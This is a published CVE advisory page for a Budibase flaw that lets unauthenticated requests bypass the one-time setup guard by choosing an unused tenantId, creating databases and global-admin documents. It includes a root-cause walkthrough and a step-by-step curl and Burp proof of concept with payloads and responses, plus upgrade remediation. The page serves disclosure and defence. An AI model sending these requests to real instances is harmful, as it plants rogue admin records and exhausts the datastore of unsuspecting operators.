CVE-2026-122247: Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)

Published Nov 20, 2026
·
Updated

Description

Summary

On a self-hosted, single-tenant Budibase instance (multiTenancy:false), the public bootstrap endpoint POST /api/global/users/init remains fully exploitable after the instance has been provisioned. Its "already initialised" guard (checkAnyUserExists()) is evaluated inside a tenant-scoped database context derived from an attacker-controlled tenantId in the request body. Because the tenancy layer never constrains that tenantId to the only legitimate tenant (default) on a single-tenant deployment, an unauthenticated attacker simply supplies any unused tenant name to make the guard see an empty user list, and the endpoint then creates a brand-new CouchDB database (<tenantId>global-db) and a global-admin user document (admin.global = true, builder.global = true) inside it - with no authentication and no CSRF token.

This is (a) a bypass of the security control meant to permanently close first-run setup, and (b) an unauthenticated, persistent write primitive that lets an anonymous attacker create an unbounded number of databases and admin-user documents - a resource-exhaustion / denial-of-service vector against the CouchDB datastore, plus creation of latent rogue admin accounts.

Details

Root cause chain (source, tag v3.44.0):

1. packages/worker/src/api/index.ts:41 - POST /api/global/users/init is in PUBLICENDPOINTS, so auth.buildAuthMiddleware(PUBLICENDPOINTS) marks it publicEndpoint and the "no public access to worker" gate (api/index.ts:159-165) lets it through without any session. It is also in NOTENANCYENDPOINTS (api/index.ts:83), so the tenancy middleware does not pin the request to default - the tenant is taken verbatim from the request body - and in NOCSRFENDPOINTS. 2. packages/worker/src/middleware/cloudRestricted.ts:10,25 - the cloudRestricted guard only enforces the internal API key when !env.SELFHOSTED && !env.DISABLEACCOUNTPORTAL. On a self-hosted instance (SELFHOSTED=true) it is a no-op (return next()), so cloudRestrictedRoutes provides no protection here. 3. packages/worker/src/api/routes/global/users.ts:69-79 - cloudRestrictedRoutes.post("/api/global/users/init", … controller.adminUser). 4. packages/worker/src/api/controllers/global/users.ts:232 - the handler runs await tenancy.doInTenant(tenantId, …) using the attacker-supplied tenantId. 5. packages/worker/src/api/controllers/global/users.ts:238 - the only guard, const userExists = await checkAnyUserExists(), throws 403 only if a user exists in the current tenant context. 6. packages/worker/src/utilities/users.ts:3-15 - checkAnyUserExists() calls tenancy.getGlobalDB(), which resolves to <tenantId>global-db. For any unused tenantId this DB is empty → the guard passes → userSdk.db.createAdminUser(email, tenantId, …) (users.ts:247) creates a full global admin.

The defect is incorrect authorization scoping: the single-tenant deployment invariant ("only tenant default exists; init is one-time") is never enforced against the request-supplied tenantId, so the guard is evaluated against a namespace the attacker chooses.

Configuration confirmed via GET /api/system/environment → {"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}.

PoC

Target http://127.0.0.1:3014 (Budibase v3.44.0-cloud.2). No credentials, no cookies, no CSRF token. All values real, captured live on 2026-09-02; nothing redacted.

---

Step 1 - BASELINE: the guard correctly blocks re-init of the real tenant (default)

bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}'

Burp - Request

http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 82

{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}

Burp - Response

http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}

---

Step 2 - PAYLOAD: supply any unused tenantId → the guard is bypassed and a global admin is created, fully unauthenticated

bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'

Burp - Request

http POST /api/global/users/init HTTP/1.1 Host: 127.0.0.1:3014 Content-Type: application/json Content-Length: 78

{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}

Burp - Response

http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8

{"id":"usd0c2b6c9014a43e2899a2770d2e6280c","rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"}

The single differential - tenantId:"default" → 403, tenantId:"f7poc" → 200 with a persisted us… id - is the whole bug: the one-time-setup guard is scoped to a namespace the attacker chooses.

---

Step 3 - the write persisted: re-init of the same tenant now hits the (per-tenant) guard

bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \ -H 'Content-Type: application/json' \ -d '{"email":"pwn-f7pocb@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'

Burp - Response

http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}

Each unique tenantId is a fresh write primitive - an attacker loops tenantId=a0001,a0002,… to create unbounded databases + admin docs (DoS).

---

Step 4 & 5 - datastore side-effect: a new <tenant>global-db and a real global-admin document

Read directly from CouchDB inside the container ($COUCHDBURL = http://admin:…@127.0.0.1:5984):

GET /alldbs => [ "appcc322a9cd27a492eb934f43b146c6e81", "appdevcc322a9cd27a492eb934f43b146c6e81", "f7pocglobal-db", <-- created by the unauthenticated init call (tenantId=f7poc) "global-db" <-- legitimate default-tenant global DB ]

rogue DB 'f7pocglobal-db' present: True

The document created in f7pocglobal-db is a full global admin:

json { "id": "usd0c2b6c9014a43e2899a2770d2e6280c", "email": "pwn-f7poc@evil.test", "admin": { "global": true }, "builder": { "global": true }, "tenantId": "default", "roles": {} }

---

Step 6 - ceiling check (honest): the injected admin cannot log in while multi-tenancy is off

bash curl -s -i -X POST 'http://127.0.0.1:3014/api/global/auth/f7poc/login' \ -H 'Content-Type: application/json' \ -d '{"username":"pwn-f7poc@evil.test","password":"Pwned!2026#bb"}'

Burp - Response

http HTTP/1.1 403 Forbidden Content-Type: application/json; charset=utf-8

{"message":"Invalid credentials","status":403}

With multiTenancy:false the login flow forces the default tenant, so the injected admin is not usable to log into the running default-tenant instance. The provable impact is therefore control-bypass + unauthenticated persistent datastore writes / DoS + creation of rogue admin accounts that become active if multi-tenancy is later enabled or during tenant-iterating operations (restore/migration).

Impact

Type: Missing/incorrect authorization on a critical function - unauthenticated bypass of the one-time initialization guard, yielding anonymous global-admin-document and database creation.

Who is impacted: every self-hosted single-tenant Budibase instance exposing the worker API (via the front nginx). Any unauthenticated network attacker can: - defeat the first-run setup lock that is supposed to be permanently closed after provisioning; - create global-admin user documents in attacker-named tenants with no credentials (latent rogue admins that activate if multi-tenancy is enabled or during migration/restore); - create an unbounded number of CouchDB databases (<rand>global-db) and documents - a resource-exhaustion / DoS vector against the datastore (disk, inodes, file descriptors, the dbs metadata shard).

Other sources

Budibase is an open-source low-code platform. Prior to 3.50.0, the public POST /api/global/users/init endpoint on a self-hosted single-tenant deployment accepts an attacker-controlled tenantId and evaluates checkAnyUserExists() in the selected tenant database instead of the legitimate default tenant. An unauthenticated attacker can select an unused tenant namespace to bypass the one-time initialization guard, causing packages/worker/src/api/controllers/global/users.ts to create a tenant-specific CouchDB database and a global-administrator document without a session or CSRF token. Repeating this operation with unique tenant identifiers can exhaust datastore resources and leave latent privileged records. The created administrator cannot log into the default tenant while multi-tenancy remains disabled, which limits the immediate impact to persistent writes, denial of service, and records that may become usable during later multi-tenant operation or migration. This issue is fixed in versions 3.50.0 and 4.0.0.

— MITRE

Affected Software

2 affected components
budibase Budibase<3.50.0
npm/@budibase/server<=3.38.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade Budibase to a version that resolves this vulnerability.

    Fixed in 3.50.0
  2. Upgrade

    Upgrade Budibase to a version that resolves this vulnerability.

    Fixed in 4.0.0

Event History

Nov 20, 2026
CVE Published
via MITRE·04:43 PM
Data Sourced
via MITRE·04:43 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:18 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·11:50 PM
Data Sourced
via GitHub·11:50 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203